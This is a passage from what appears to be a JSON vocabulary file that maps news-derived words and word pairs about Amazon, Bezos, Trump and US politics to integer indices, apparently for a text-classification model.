witch": 49166, "moths": 49167, "conspiratorial trump": 49168, "tailer just": 49169, "bulb": 49170, "cnbc sanders": 49171, "tweeted photographs": 49172, "empire brought": 49173, "xenophobic religious": 49174, "michael trump": 49175, "government lawsuit": 49176, "cyber robots": 49177, "fascination": 49178, "overstatements": 49179, "alleging deeply": 49180, "cuts amazon": 49181, "130 billion": 49182, "deserving entrepreneurs": 49183, "600 consumers": 49184, "duncan hunters": 49185, "pre regulation": 49186, "showindex getcurrentvideoindex": 49187, "armedia": 49188, "drake university": 49189, "storing": 49190, "generational": 49191, "lime green": 49192, "csnac seeks": 49193, "party websites": 49194, "period igniting": 49195, "nukes catholic": 49196, "cooperation": 49197, "h6a function": 49198, "alexis": 49199, "pains": 49200, "insurer aetna": 49201, "pac group": 49202, "companies arguing": 49203, "theatrically": 49204, "insider making": 49205, "develop general": 49206, "nostolgic": 49207, "amazon shopper": 49208, "helped craft": 49209, "educationfrom": 49210, "till murder": 49211, "evident": 49212, "function isn": 49213, "amazon inside": 49214, "survives": 49215, "story weekend": 49216, "dollhouse": 49217, "trade discussions": 49218, "countless awards": 49219, "private correspondence": 49220, "ferocious chairman": 49221, "election law": 49222, "entire packet": 49223, "margarethmcgill": 49224, "morrison won": 49225, "timers": 49226, "mueller damning": 49227, "adventitious": 49228, "liao": 49229, "massive pricing": 49230, "cuckoo netflix": 49231, "funding lynnwood": 49232, "sanders charges": 49233, "makes misleading": 49234, "removed attorney": 49235, "old barnes": 49236, "day says": 49237, "unlawfully low": 49238, "corp accumulated": 49239, "resolution hasn": 49240, "bezos goal": 49241, "trump embedded": 49242, "torrential downpour": 49243, "contest greer": 49244, "democraticpoliticians": 49245, "lasting benefits": 49246, "county new": 49247, "procuring day": 49248, "current lack": 49249, "stoked furor": 49250, "line immigration": 49251, "make mutually": 49252, "authorities tore": 49253, "backfiring gop": 49254, "tuba player": 49255, "outcome": 49256, "talks survivor": 49257, "analyze drone": 49258, "criticism amazon": 49259, "employees talking": 49260, "china alibaba": 49261, "justifying breakup": 49262, "trump confidant": 49263, "mortgage arm": 49264, "bremberg president": 49265, "conscience": 49266, "immigrant application": 49267, "dropping policy": 49268, "cap company": 49269, "post writes": 49270, "arrives later": 49271, "comparatively tiny": 49272, "attacked cnn": 49273, "holly gibbs": 49274, "power giving": 49275, "spike": 49276, "respectively charged": 49277, "strategic advantage": 49278, "thing jimmy": 49279, "holding children": 49280, "jeff hand": 49281, "trump resisted": 49282, "russia formally": 49283, "vegan nyse": 49284, "grow large": 49285, "results doctored": 49286, "wonderland moment": 49287, "timestamputc": 49288, "nokia teases": 49289, "technological collaboration": 49290, "world news": 49291, "pre selected": 49292, "autonomic": 49293, "drew herdener": 49294, "retailer sites": 49295, "rebellion": 49296, "693 shares": 49297, "including department": 49298, "fuel improvement": 49299, "intelligence operatives": 49300, "q1 2018": 49301, "presence read": 49302, "infrastructure investment": 49303, "congresswoman approval": 49304, "1703": 49305, "time jeff": 49306, "days away": 49307, "ops bernie": 49308, "medieval fantasy": 49309, "news nbc": 49310, "thanksgiving parade": 49311, "supermarket aisle": 49312, "internal moves": 49313, "vaccine educational": 49314, "nefarious entities": 49315, "courting oil": 49316, "texts messages": 49317, "los": 49318, "brought thousands": 49319, "hm": 49320, "disorganized": 49321, "copper": 49322, "essentially": 49323, "embracing traditional": 49324, "face ghd": 49325, "amazing services": 49326, "chaired": 49327, "editors": 49328, "welcome jason": 49329, "mission change": 49330, "basic label": 49331, "weak position": 49332, "description states": 49333, "newspaper culture": 49334, "broader": 49335, "marcia lee": 49336, "provide actual": 49337, "prevent crime": 49338, "actually fishing": 49339, "abuser amazon": 49340, "force ornery": 49341, "liberal columnist": 49342, "titular cia": 49343, "mergers delrahim": 49344, "population": 49345, "blender": 49346, "unmarked vehicle": 49347, "simply connects": 49348, "doesn break": 49349, "galleries sanders": 49350, "growth narrative": 49351, "refering": 49352, "paid hundreds": 49353, "big agriculture": 49354, "washington evan": 49355, "riddance new": 49356, "employers amazon": 49357, "counsel team": 49358, "segment host": 49359, "reputation": 49360, "12b": 49361, "intimate photographs": 49362, "choice overload": 49363, "altruism": 49364, "schools customer": 49365, "address national": 49366, "enterprises function": 49367, "song gawande": 49368, "authorization adding": 49369, "leading platform": 49370, "multi company": 49371, "meeting metrics": 49372, "retailers share": 49373, "irishman": 49374, "tax receipts": 49375, "sessions right": 49376, "constructor": 49377, "trade rumors": 49378, "mike coppola": 49379, "recently appointed": 49380, "teamwork": 49381, "congressional colleagues": 49382, "2017 click": 49383, "depreciation": 49384, "long regardless": 49385, "visited bezos": 49386, "commission 143": 49387, "housing 2018": 49388, "solar powered": 49389, "operated corporation": 49390, "bezos accusations": 49391, "stormproof": 49392, "trump library": 49393, "soft brexit": 49394, "martyr saint": 49395, "overseas markets": 49396, "laying bare": 49397, "kowtowing": 49398, "sood": 49399, "support vital": 49400, "trump magas": 49401, "pr team": 49402, "supposedly involves": 49403, "pedophiles nyt": 49404, "pass bipartisan": 49405, "opposite path": 49406, "zone trump": 49407, "impose ban": 49408, "case european": 49409, "decisions based": 49410, "couple neighbor": 49411, "cheering": 49412, "day loss": 49413, "jack shafer": 49414, "business reporter": 49415, "detection tools": 49416, "scooters": 49417, "know spider": 49418, "sandy hook": 49419, "senate rebukes": 49420, "trump kill": 49421, "processes icann": 49422, "14th district": 49423, "delivery items": 49424, "services eventually": 49425, "louisiana lieutenant": 49426, "recalled statement": 49427, "rousseff": 49428, "wild": 49429, "events capture": 49430, "clothing retailer": 49431, "wiener": 49432, "q23 bus": 49433, "2018 buh": 49434, "deploying powerful": 49435, "gives cellphone": 49436, "department appreciate": 49437, "eden": 49438, "amazon firm": 49439, "delivering regular": 49440, "antitrust angle": 49441, "mislead people": 49442, "individual carrier": 49443, "strokes": 49444, "ice cream": 49445, "finance twitter": 49446, "presidential center": 49447, "dating lauren": 49448, "denver 6th": 49449, "olympic": 49450, "indexes rose": 49451, "wacky": 49452, "street turned": 49453, "bupkis": 49454, "discount evaporated": 49455, "fatally shooting": 49456, "cable provider": 49457, "problem advertisement": 49458, "groceries target": 49459, "deceased": 49460, "300w": 49461, "ben domenech": 49462, "rainforest destruction": 49463, "wegmann columnist": 49464, "candidates vying": 49465, "project provides": 49466, "newton small": 49467, "president makes": 49468, "amazon letters": 49469, "oppressive racist": 49470, "photo teresa": 49471, "finally did": 49472, "ailes": 49473, "lease blue": 49474, "trillion engaging": 49475, "lines marketing": 49476, "gmt aric": 49477, "landing california": 49478, "rouven fuechtener": 49479, "brings newspapers": 49480, "trump angrily": 49481, "skyhorse don": 49482, "cycle clearing": 49483, "monthly income": 49484, "media relocated": 49485, "interview published": 49486, "palantir microsoft": 49487, "team umizoomi": 49488, "webster monopoly": 49489, "4bn 76bn": 49490, "paris auto": 49491, "example planning": 49492, "9653 votes": 49493, "ad violates": 49494, "bhagwan shree": 49495, "appoints amazon": 49496, "incorporated accumulated": 49497, "final decision": 49498, "inside scoop": 49499, "sulzberger publisher": 49500, "hard california": 49501, "services paypal": 49502, "streaming process": 49503, "warfighter": 49504, "gigyashareelement": 49505, "including access": 49506, "recent divorce": 49507, "space cadets": 49508, "generate cash": 49509, "offline retailers": 49510, "agus yudhoyono": 49511, "1152et copyright": 49512, "receptionist": 49513, "moto aj": 49514, "bush presidential": 49515, "shoes photo": 49516, "madrid": 49517, "head denies": 49518, "people lambasting": 49519, "error function": 49520, "jennifer salke": 49521, "british author": 49522, "south bass": 49523, "impersonators": 49524, "assorted guilty": 49525, "seth cohen": 49526, "ttab": 49527, "trump tech": 49528, "plus san": 49529, "hasn admitted": 49530, "donor charles": 49531, "having women": 49532, "best gop": 49533, "notes section": 49534, "flight": 49535, "earth economic": 49536, "getting adequate": 49537, "halt policing": 49538, "client conversations": 49539, "conspiracy fox": 49540, "sensational allegation": 49541, "type slideshow": 49542, "justice congress": 49543, "following meeting": 49544, "2017 devil": 49545, "privately fumed": 49546, "doesn euro": 49547, "feat akin": 49548, "county longtime": 49549, "miami dolphins": 49550, "multiple winners": 49551, "declining revenue": 49552, "president jack": 49553, "backpedaling": 49554, "jolley says": 49555, "tax incentive": 49556, "truest": 49557, "called cowardly": 49558, "bumblefuck administration": 49559, "federation intervened": 49560, "que": 49561, "satellite subscription": 49562, "long weekend": 49563, "materialized": 49564, "family experience": 49565, "spec reprinted": 49566, "twitter access": 49567, "cpl": 49568, "freeway": 49569, "axsm": 49570, "providers serving": 49571, "businessmen": 49572, "sources business": 49573, "early maria": 49574, "series dogs": 49575, "hung sword": 49576, "kaminsky cowered": 49577, "says equity": 49578, "left dangerously": 49579, "spook": 49580, "pledge pratt": 49581, "security studies": 49582, "apprehended": 49583, "supremacists arrested": 49584, "suffered miscarriages": 49585, "powering": 49586, "company warned": 49587, "edge investors": 49588, "quickly formed": 49589, "alexa app": 49590, "dolly wells": 49591, "itasat satellites": 49592, "deadline reports": 49593, "zigzags": 49594, "profiting": 49595, "duane": 49596, "packages postal": 49597, "presenting sponsor": 49598, "area romulus": 49599, "wall harris": 49600, "release personal": 49601, "press shortly": 49602, "nevertrump conservative": 49603, "unlimited subscribers": 49604, "contains host": 49605, "sick note": 49606, "older": 49607, "dodging internet": 49608, "changing phone": 49609, "officials considered": 49610, "footnote": 49611, "jeffbezos pic": 49612, "sorting distribution": 49613, "initially led": 49614, "police misogynistic": 49615, "sharma chronicle": 49616, "tommy robinson": 49617, "downloads": 49618, "images related": 49619, "mallard fillmore": 49620, "makes cases": 49621, "shelter donald": 49622, "principles": 49623, "general electric": 49624, "121": 49625, "queens free": 49626, "candid": 49627, "800 people": 49628, "new healthcare": 49629, "stephen geoffrey": 49630, "mocking": 49631, "thriving": 49632, "year le": 49633, "promotes amazon": 49634, "balls sent": 49635, "robots jedi": 49636, "homeowners looking": 49637, "figures today": 49638, "seattle juggernaut": 49639, "personally ensure": 49640, "charlie dent": 49641, "group tagged": 49642, "phrase enemy": 49643, "editorial writer": 49644, "missouri democratic": 49645, "wealth far": 49646, "bezos early": 49647, "grammy": 49648, "know clearly": 49649, "constituting": 49650, "shipping speed": 49651, "larger feud": 49652, "number identification": 49653, "faced slew": 49654, "fb free": 49655, "proclaim": 49656, "reuters insider": 49657, "1988 cuomo": 49658, "constellation brands": 49659, "summit severe": 49660, "feelers": 49661, "legg": 49662, "null ser_footer_blurb": 49663, "4th": 49664, "2011 madison": 49665, "potential damage": 49666, "diesel truck": 49667, "breaks meaning": 49668, "administrations customs": 49669, "profile wins": 49670, "story ami": 49671, "owner fernando": 49672, "ones": 49673, "reducing greenhouse": 49674, "business win": 49675, "hike": 49676, "individual acquainted": 49677, "lower long": 49678, "mohammad bin": 49679, "electronic entry": 49680, "make career": 49681, "damaged amazon": 49682, "state aid": 49683, "work cnn": 49684, "wealth bloomberg": 49685, "news groups": 49686, "plummeted": 49687, "thebeat ari": 49688, "newspaper reporting": 49689, "oriented tabloid": 49690, "cnp fraud": 49691, "experts joined": 49692, "cambridge capital": 49693, "ralph northam": 49694, "felt recently": 49695, "list forbes": 49696, "rude real": 49697, "president salvador": 49698, "050 dollars": 49699, "trade policy": 49700, "comprehension": 49701, "facing legal": 49702, "watch ex": 49703, "defence data": 49704, "impressive alphabet": 49705, "tech goal": 49706, "concerned toronto": 49707, "lara offering": 49708, "proposed similar": 49709, "nationwide pharmaceutical": 49710, "lynnette": 49711, "actually feel": 49712, "amazon growth": 49713, "eu competition": 49714, "china luckin": 49715, "hodder stoughton": 49716, "story italys": 49717, "ruling allow": 49718, "threats brings": 49719, "hilary mantel": 49720, "plhcf 2050": 49721, "wishers": 49722, "infinite data": 49723, "harlan": 49724, "cap sleeve": 49725, "insider teaming": 49726, "late regarding": 49727, "blue origins": 49728, "reinforce": 49729, "misinformation buzzfeed": 49730, "hare airport": 49731, "homegrown rival": 49732, "remains tight": 49733, "border ahead": 49734, "school recommended": 49735, "elaine kurtenbach": 49736, "awards": 49737, "hawk advised": 49738, "finance amazon": 49739, "cheap black": 49740, "person life": 49741, "semiconductor equipment": 49742, "month war": 49743, "accessed private": 49744, "summer wasteland": 49745, "politico reporter": 49746, "shipping points": 49747, "nazi action": 49748, "ordinary liberal": 49749, "160 day": 49750, "unspoken authority": 49751, "director patricia": 49752, "confirm work": 49753, "restrict greenhouse": 49754, "billy nungesser": 49755, "possible involvement": 49756, "strip reporters": 49757, "shot landmark": 49758, "companies increasingly": 49759, "kids create": 49760, "satin necktie": 49761, "composite soared": 49762, "wealthiest country": 49763, "2018 single": 49764, "services love": 49765, "fundamental right": 49766, "subsections lifestyle": 49767, "prohibitive": 49768, "gotten thanks": 49769, "virginia economic": 49770, "restarting trade": 49771, "appropriations committee": 49772, "cloud sen": 49773, "40am minneapolis": 49774, "current debate": 49775, "markets remained": 49776, "shockproof camera": 49777, "assemblywoman catherine": 49778, "higher fees": 49779, "hill president": 49780, "just looking": 49781, "advisor": 49782, "socialflow twitter": 49783, "confessions": 49784, "swinging": 49785, "city california": 49786, "brisco": 49787, "world market": 49788, "provide extensive": 49789, "shifting vote": 49790, "bronx blake": 49791, "help competitors": 49792, "voice concerns": 49793, "va tweeted": 49794, "simplify": 49795, "reported ami": 49796, "sara forden": 49797, "horizon editors": 49798, "soft tissue": 49799, "devices including": 49800, "opportune": 49801, "paratroopers": 49802, "angel chernoff": 49803, "americans india": 49804, "war refugee": 49805, "owns framing": 49806, "hands blue": 49807, "kasie hunt": 49808, "tax breaks": 49809, "music modernization": 49810, "100 million": 49811, "respond publicly": 49812, "hicks left": 49813, "korean leader": 49814, "walmart ceo": 49815, "boy later": 49816, "mktw following": 49817, "funds offers": 49818, "gcf": 49819, "letters feature": 49820, "dissuade criticism": 49821, "night showed": 49822, "behaviours trump": 49823, "nbbj": 49824, "industries making": 49825, "selfies": 49826, "confronts cbs": 49827, "basis point": 49828, "factual constraints": 49829, "sshe says": 49830, "total expenditures": 49831, "tears drink": 49832, "jeff talbot": 49833, "sinisterlab usatoda": 49834, "kuba wrzesniewski": 49835, "morning unveiled": 49836, "consumer electronics": 49837, "propositioned": 49838, "dorie greenspan": 49839, "obama choose": 49840, "division washington": 49841, "reportedly crafted": 49842, "media response": 49843, "icpc": 49844, "city special": 49845, "british prime": 49846, "isn appropriate": 49847, "videopinner videoendslateimpl": 49848, "cast including": 49849, "amazon buying": 49850, "significant long": 49851, "called attorney": 49852, "previous justice": 49853, "veteran kate": 49854, "shares climbed": 49855, "store trump": 49856, "factors regulators": 49857, "reasonable": 49858, "tweets matter": 49859, "823 billion": 49860, "cnl_nam": 49861, "integrations": 49862, "interactives ext": 49863, "investment race": 49864, "hl en": 49865, "000 weekly": 49866, "jersey maryland": 49867, "applauds": 49868, "durbin": 49869, "poirier told": 49870, "search dominance": 49871, "strike ends": 49872, "emails released": 49873, "twitter ceo": 49874, "amzn market": 49875, "data particularly": 49876, "view shows": 49877, "cook romano": 49878, "state doesn": 49879, "counsel charged": 49880, "unitedhealth group": 49881, "1996 john": 49882, "fda agreement": 49883, "agencies nationwide": 49884, "protracted fight": 49885, "fact cat": 49886, "shimmer engulfs": 49887, "great plains": 49888, "espn beer": 49889, "dan primack": 49890, "national enquirer": 49891, "spell": 49892, "leaders": 49893, "francisco talent": 49894, "ubiquitous fare": 49895, "policymakers": 49896, "tallahassee democrat": 49897, "informs": 49898, "tehran": 49899, "metapack application": 49900, "growers mining": 49901, "nomination hallquist": 49902, "global layoffs": 49903, "mass unease": 49904, "twins manager": 49905, "inauthentic item": 49906, "faso tenney": 49907, "public profile": 49908, "large hasn": 49909, "feeling fabulous": 49910, "epidemics": 49911, "nofollow false": 49912, "ranking security": 49913, "ro\u00f1o aquino": 49914, "shirt turned": 49915, "russia 2016": 49916, "personal touch": 49917, "doing things": 49918, "lift launch": 49919, "rational investors": 49920, "economic deal": 49921, "damaged politico": 49922, "ta amazon": 49923, "crimes relating": 49924, "victimized": 49925, "sewage pump": 49926, "helping serve": 49927, "vaccine study": 49928, "national enquirerreports": 49929, "finance beware": 49930, "surely amazon": 49931, "enquirer engaged": 49932, "korean nuclear": 49933, "service expected": 49934, "best tax": 49935, "substantial a380": 49936, "cookbook celebration": 49937, "specific events": 49938, "investors digest": 49939, "fabulous lot": 49940, "clerk": 49941, "global rules": 49942, "ergonomically": 49943, "sadly": 49944, "mogul largest": 49945, "rkuttnerwrites": 49946, "buzz home": 49947, "service investors": 49948, "frontline": 49949, "lucasnolan_": 49950, "amazon minnesota": 49951, "2f4 2f1999": 49952, "stationary": 49953, "hines": 49954, "netflix transatlantic": 49955, "childcare": 49956, "smh": 49957, "hits intraday": 49958, "prices led": 49959, "sartore": 49960, "confront attackers": 49961, "sailing away": 49962, "city hq2": 49963, "banning": 49964, "dis taylor": 49965, "business treasury": 49966, "official twitter": 49967, "350 billion": 49968, "small towns": 49969, "killing man": 49970, "gall": 49971, "sports league": 49972, "insider reported": 49973, "retail business": 49974, "competing products": 49975, "soaring economy": 49976, "shows printed": 49977, "crimes completing": 49978, "fold trumps": 49979, "headphones image": 49980, "impacted": 49981, "glory says": 49982, "dollars delivering": 49983, "cuse": 49984, "officials trump": 49985, "digger trope": 49986, "day annual": 49987, "success hudgins": 49988, "story elite": 49989, "elkins": 49990, "tony": 49991, "unionizing": 49992, "chinese smartphone": 49993, "internet universe": 49994, "milestone celebration": 49995, "coast range": 49996, "bruce berkowitz": 49997, "split does": 49998, "past visit": 49999, "decision featured": 50000, "biggest investigation": 50001, "wedding business": 50002, "data safe": 50003, "called instead": 50004, "internet retailer": 50005, "cohen knows": 50006, "include alternative": 50007, "issues president": 50008, "signs 5yr": 50009, "new crackdown": 50010, "toilet facilities": 50011, "frankly inhuman": 50012, "offline brand": 50013, "shouldinvestigate just": 50014, "martin penkala": 50015, "twitter nfl": 50016, "1931": 50017, "administration policy": 50018, "warehousing": 50019, "higher post": 50020, "extravaganza": 50021, "dark secret": 50022, "recovering alcoholic": 50023, "doors taking": 50024, "ballard partners": 50025, "amazon having": 50026, "cards": 50027, "tremendous human": 50028, "squat rectangles": 50029, "acquisitions amazon": 50030, "stream congestion": 50031, "nature continues": 50032, "sex life": 50033, "impact wework": 50034, "tailer lightening": 50035, "security vulnerability": 50036, "homeless amazon": 50037, "mic today": 50038, "run according": 50039, "dozen times": 50040, "orders targeted": 50041, "credit ctc": 50042, "buy theatre": 50043, "bezos multimillion": 50044, "store": 50045, "widespread sexual": 50046, "man person": 50047, "aqua metals": 50048, "holds trump": 50049, "acknowledges government": 50050, "intervention looking": 50051, "decaying squalid": 50052, "seinfeld pick": 50053, "corp completed": 50054, "underestimating": 50055, "consumers hand": 50056, "active lifestyle": 50057, "ridiculous torture": 50058, "cfo blaming": 50059, "essays speeches": 50060, "redacted mueller": 50061, "liberal outrage": 50062, "product called": 50063, "grooming": 50064, "applicants look": 50065, "bump national": 50066, "pharmaceutical companies": 50067, "aug perspectives": 50068, "militant white": 50069, "getting attacked": 50070, "amazon speculate": 50071, "papadopoulos president": 50072, "identifying people": 50073, "dynamic advisor": 50074, "leaped": 50075, "amazon receives": 50076, "major consequences": 50077, "second headquarters": 50078, "venezuela border": 50079, "reviewing": 50080, "burglary": 50081, "300 points": 50082, "private home": 50083, "ways pence": 50084, "nyse cvs": 50085, "quipped": 50086, "gives thumbs": 50087, "holdings": 50088, "bargains": 50089, "roost": 50090, "scheduled economic": 50091, "results varied": 50092, "growth portfolio": 50093, "guy environmentalists": 50094, "jerod": 50095, "ice details": 50096, "breach facebook": 50097, "prices forcing": 50098, "existing amazon": 50099, "nov features": 50100, "healthcare costs": 50101, "fired": 50102, "increase competition": 50103, "young americans": 50104, "hampshire numbers": 50105, "shipping capabilities": 50106, "commentator": 50107, "office did": 50108, "share herera": 50109, "outlined plan": 50110, "order postal": 50111, "liberal agenda": 50112, "revenue increased": 50113, "ustr started": 50114, "facebook tag": 50115, "josh dawsey": 50116, "emergency supplies": 50117, "prosecuting": 50118, "work ______": 50119, "ryder amazon": 50120, "hard feel": 50121, "prosecute opposition": 50122, "hart senate": 50123, "isn holding": 50124, "imitation": 50125, "direct comparisons": 50126, "president carell": 50127, "news article": 50128, "tapes seized": 50129, "tech peers": 50130, "city economic": 50131, "suing president": 50132, "revealing graphic": 50133, "gmt authorities": 50134, "reached add_commas": 50135, "trademark disputes": 50136, "help military": 50137, "1007 jpg": 50138, "intimidate": 50139, "stunningly": 50140, "climate leader": 50141, "slamming continues": 50142, "despite antitrust": 50143, "transcended": 50144, "does relies": 50145, "factors causing": 50146, "need complete": 50147, "w5": 50148, "klobuchar": 50149, "medication faces": 50150, "dominant market": 50151, "stock fund": 50152, "received 129": 50153, "resources necessary": 50154, "religious organizations": 50155, "netflix maga": 50156, "moodys turns": 50157, "reported story": 50158, "sanchez whitesell": 50159, "brought want": 50160, "100": 50161, "rinse repeat": 50162, "guardian cited": 50163, "trumpers": 50164, "extremely slim": 50165, "democrat carolyn": 50166, "relief usa": 50167, "surging amazon": 50168, "change sees": 50169, "ib n7": 50170, "hdr set": 50171, "passing laws": 50172, "sega genesis": 50173, "travelersa list": 50174, "worldwide shipping": 50175, "thrived": 50176, "later officially": 50177, "medical facility": 50178, "gone step": 50179, "generated standard": 50180, "trans pacific": 50181, "biden aides": 50182, "fiercest competitor": 50183, "fundamental protections": 50184, "1959": 50185, "dishwasher": 50186, "headstones": 50187, "counterintelligence leader": 50188, "amazon line": 50189, "news jokes": 50190, "unquantified number": 50191, "politico plus": 50192, "spielberg benspielberg": 50193, "bloomberg greg": 50194, "year brexit": 50195, "marketplace policies": 50196, "struggling infrastructure": 50197, "people holiday": 50198, "estate episode": 50199, "tax number": 50200, "attacks people": 50201, "followed investigation": 50202, "basically paying": 50203, "bloomfield updated": 50204, "official observance": 50205, "twitter trolling": 50206, "govern enterprise": 50207, "decay": 50208, "interdiction consists": 50209, "mike pence": 50210, "110 million": 50211, "rout sees": 50212, "kim created": 50213, "new packages": 50214, "utah pressed": 50215, "demand info": 50216, "huppke rexhuppke": 50217, "funding streams": 50218, "bryan lot": 50219, "commission launched": 50220, "aboutamazon": 50221, "puzzles photo": 50222, "chill": 50223, "amazon exploiting": 50224, "super duper": 50225, "amazon litany": 50226, "phone doctor": 50227, "low employers": 50228, "staffer christine": 50229, "boycott campaign": 50230, "agribusiness especially": 50231, "inc_hide_article_sidebarflag false": 50232, "working shifts": 50233, "washington writer": 50234, "novel program": 50235, "binding": 50236, "pay penny": 50237, "care": 50238, "demand lower": 50239, "fever": 50240, "sergio van": 50241, "premises especially": 50242, "fbi andrewmccabe": 50243, "operating losses": 50244, "admirable minority": 50245, "generation parkland": 50246, "loaded firearms": 50247, "kim seriously": 50248, "tweet national": 50249, "logistics parks": 50250, "penalized": 50251, "condon": 50252, "totally different": 50253, "virginia collectively": 50254, "car testing": 50255, "demeanour": 50256, "big speech": 50257, "moser noticed": 50258, "detractor": 50259, "darkest secrets": 50260, "report earlier": 50261, "272": 50262, "launched campaign": 50263, "just transition": 50264, "brendan farrington": 50265, "160b": 50266, "simply remain": 50267, "alphabet apple": 50268, "year setting": 50269, "amazonians tied": 50270, "dana schwartz": 50271, "potus declaration": 50272, "starting gate": 50273, "promised foxconn": 50274, "article large": 50275, "jerrold nadler": 50276, "blown backs": 50277, "aung": 50278, "york dance": 50279, "dissident jamal": 50280, "service deliveries": 50281, "board earlier": 50282, "change laws": 50283, "investigative probe": 50284, "american petroleum": 50285, "hosts joe": 50286, "hammer time": 50287, "commerce production": 50288, "republican wrote": 50289, "bombshell excerpts": 50290, "senator proposal": 50291, "standard hotel": 50292, "disaster north": 50293, "strengths inseparable": 50294, "national indian": 50295, "receive 129": 50296, "normal country": 50297, "lawman": 50298, "e5e": 50299, "called pho": 50300, "money borrowed": 50301, "trump rejects": 50302, "fairness associated": 50303, "relations bolsonaro": 50304, "comment join": 50305, "legal restrictions": 50306, "sessions departure": 50307, "written couple": 50308, "opened sept": 50309, "robyn": 50310, "charlatans": 50311, "trump possible": 50312, "latest charitable": 50313, "kaur": 50314, "trading standards": 50315, "irk": 50316, "quarter marketwatch": 50317, "millennial coming": 50318, "control report": 50319, "technologically advanced": 50320, "significant steps": 50321, "life children": 50322, "theatrically released": 50323, "recorded higher": 50324, "near accuracy": 50325, "getattribute": 50326, "goods customs": 50327, "oil gas": 50328, "dhabi national": 50329, "overrides autostart": 50330, "heartbreaking botham": 50331, "falling revenue": 50332, "volcanoes": 50333, "week intel": 50334, "media heartland": 50335, "lying temperament": 50336, "america westward": 50337, "onsies": 50338, "trump internet": 50339, "fortunes fell": 50340, "gianna puerini": 50341, "police operations": 50342, "sherman jonathan": 50343, "plant india": 50344, "good crow": 50345, "time assembly": 50346, "centrist scores": 50347, "new channels": 50348, "birthdays": 50349, "matthew joins": 50350, "taking naked": 50351, "lockheed written": 50352, "officials announced": 50353, "dance music": 50354, "leads amazon": 50355, "people": 50356, "labor intensive": 50357, "located": 50358, "rss feedname": 50359, "letter demanding": 50360, "wage cynical": 50361, "doses": 50362, "kopsi": 50363, "story listing": 50364, "entire facebook": 50365, "economic background": 50366, "icontype": 50367, "fda new": 50368, "size necessarily": 50369, "passing": 50370, "democrats push": 50371, "countless people": 50372, "regulatory power": 50373, "racist tweet": 50374, "gg 1a": 50375, "unfairly competing": 50376, "headwind facing": 50377, "branded product": 50378, "northeastern mindanao": 50379, "fast rate": 50380, "watson": 50381, "filled basketball": 50382, "illinois appreciates": 50383, "violate toll": 50384, "zinke department": 50385, "maximize volume": 50386, "finally ended": 50387, "hour week": 50388, "false matches": 50389, "adds trade": 50390, "emotional interview": 50391, "escorted": 50392, "access cnn": 50393, "patrick mcmullan": 50394, "commerce version": 50395, "brick": 50396, "sarcastic comment": 50397, "party won": 50398, "term returns": 50399, "daly kdaly": 50400, "subsequent battle": 50401, "1900": 50402, "left versus": 50403, "breathed": 50404, "obama bought": 50405, "negative effect": 50406, "speak amazon": 50407, "season features": 50408, "talks led": 50409, "imperfectly": 50410, "gofundme scams": 50411, "capitalise": 50412, "big hoax": 50413, "tweets rained": 50414, "post elkins": 50415, "story west": 50416, "philosophy": 50417, "owns trump": 50418, "senate going": 50419, "platform twitter": 50420, "naturally": 50421, "launching 500": 50422, "economy especially": 50423, "president views": 50424, "starting shipping": 50425, "twitter love": 50426, "aid nonprofits": 50427, "pittance": 50428, "company black": 50429, "human life": 50430, "ram specifications": 50431, "boston accent": 50432, "legislation alex": 50433, "google shopping": 50434, "dander": 50435, "bronx": 50436, "homemaker political": 50437, "forbes berkshire": 50438, "forgo profits": 50439, "missouri don": 50440, "international treaty": 50441, "pinzon goodthreads": 50442, "nation cartoonists": 50443, "construction costs": 50444, "startup pillpack": 50445, "trump created": 50446, "gibbs supply": 50447, "holiday toy": 50448, "stock make": 50449, "story naomi": 50450, "old natl": 50451, "alipay": 50452, "doctor consultation": 50453, "lago club": 50454, "moonves advances": 50455, "reflect company": 50456, "leaves polling": 50457, "film covered": 50458, "retailers pay": 50459, "foods acquisition": 50460, "billionaire washington": 50461, "2d": 50462, "era regulations": 50463, "headquarters fox": 50464, "taxpayer funds": 50465, "republican leader": 50466, "don recommend": 50467, "focusses": 50468, "thoroughly investigated": 50469, "lr washington": 50470, "taking tomorrow": 50471, "vilmain": 50472, "development projects": 50473, "billion defense": 50474, "seattle required": 50475, "hometown think": 50476, "chapter amazon": 50477, "amid disappointing": 50478, "checklist white": 50479, "investigation mueller": 50480, "advance auto": 50481, "fact given": 50482, "decreased": 50483, "attractive rates": 50484, "720 shares": 50485, "expenditure amazon": 50486, "urihe7ofy043r": 50487, "mouth billy": 50488, "leaders drooled": 50489, "dp 0999845284": 50490, "stamps subsidize": 50491, "antimonopoly laws": 50492, "127 000": 50493, "speech police": 50494, "prime benefits": 50495, "house u003c": 50496, "inc_hide_article_sidebarflag": 50497, "amazon detractors": 50498, "kissing woman": 50499, "elect military": 50500, "travel vanity": 50501, "head tax": 50502, "sen elizabeth": 50503, "roku making": 50504, "2017 figure": 50505, "business state": 50506, "digital servicesweb": 50507, "amazon areas": 50508, "scenario banks": 50509, "amazon remarkable": 50510, "entire career": 50511, "animated stickers": 50512, "collectible item": 50513, "appointed nooyi": 50514, "prime revisit": 50515, "michael hiltzik": 50516, "investors include": 50517, "pelley says": 50518, "bright inflation": 50519, "nlrb": 50520, "virtual assistants": 50521, "family schwietzer": 50522, "quarterly reports": 50523, "look exactly": 50524, "intelligence contract": 50525, "commercial pilot": 50526, "demonstrate greater": 50527, "billion daniel": 50528, "killing season": 50529, "users sending": 50530, "dallas": 50531, "dependent exemptions": 50532, "skincare person": 50533, "country opioid": 50534, "lionize": 50535, "trends remain": 50536, "walmart macy": 50537, "cavaliers": 50538, "week benzinga": 50539, "sexual treachery": 50540, "omar voa": 50541, "dr ford": 50542, "anadolu source": 50543, "traders jobbers": 50544, "weekend rescue": 50545, "becker post": 50546, "8h": 50547, "baldwin current": 50548, "sensational blog": 50549, "globally recognized": 50550, "concert": 50551, "treasury opportunity": 50552, "consignments": 50553, "boe": 50554, "average expect": 50555, "labour mps": 50556, "directly undermines": 50557, "knockout tweet": 50558, "ago dorsey": 50559, "mayoral challengers": 50560, "results include": 50561, "shooting": 50562, "chris wallace": 50563, "inc_feature_image_style pano": 50564, "defense officials": 50565, "parents north": 50566, "european executive": 50567, "characters giovanni": 50568, "paper regularly": 50569, "time buyers": 50570, "moulton": 50571, "writer jason": 50572, "watching associated": 50573, "shrouded": 50574, "certain wage": 50575, "rekognition including": 50576, "mario image": 50577, "function returntypeofr4ee": 50578, "strict policy": 50579, "logan purk": 50580, "embedcodecopy function": 50581, "chief justice": 50582, "trump old": 50583, "pummeled trump": 50584, "sponsored": 50585, "accepting amazon": 50586, "delivery partnerships": 50587, "creepy fairy": 50588, "putin resident": 50589, "force conducted": 50590, "curiously hurts": 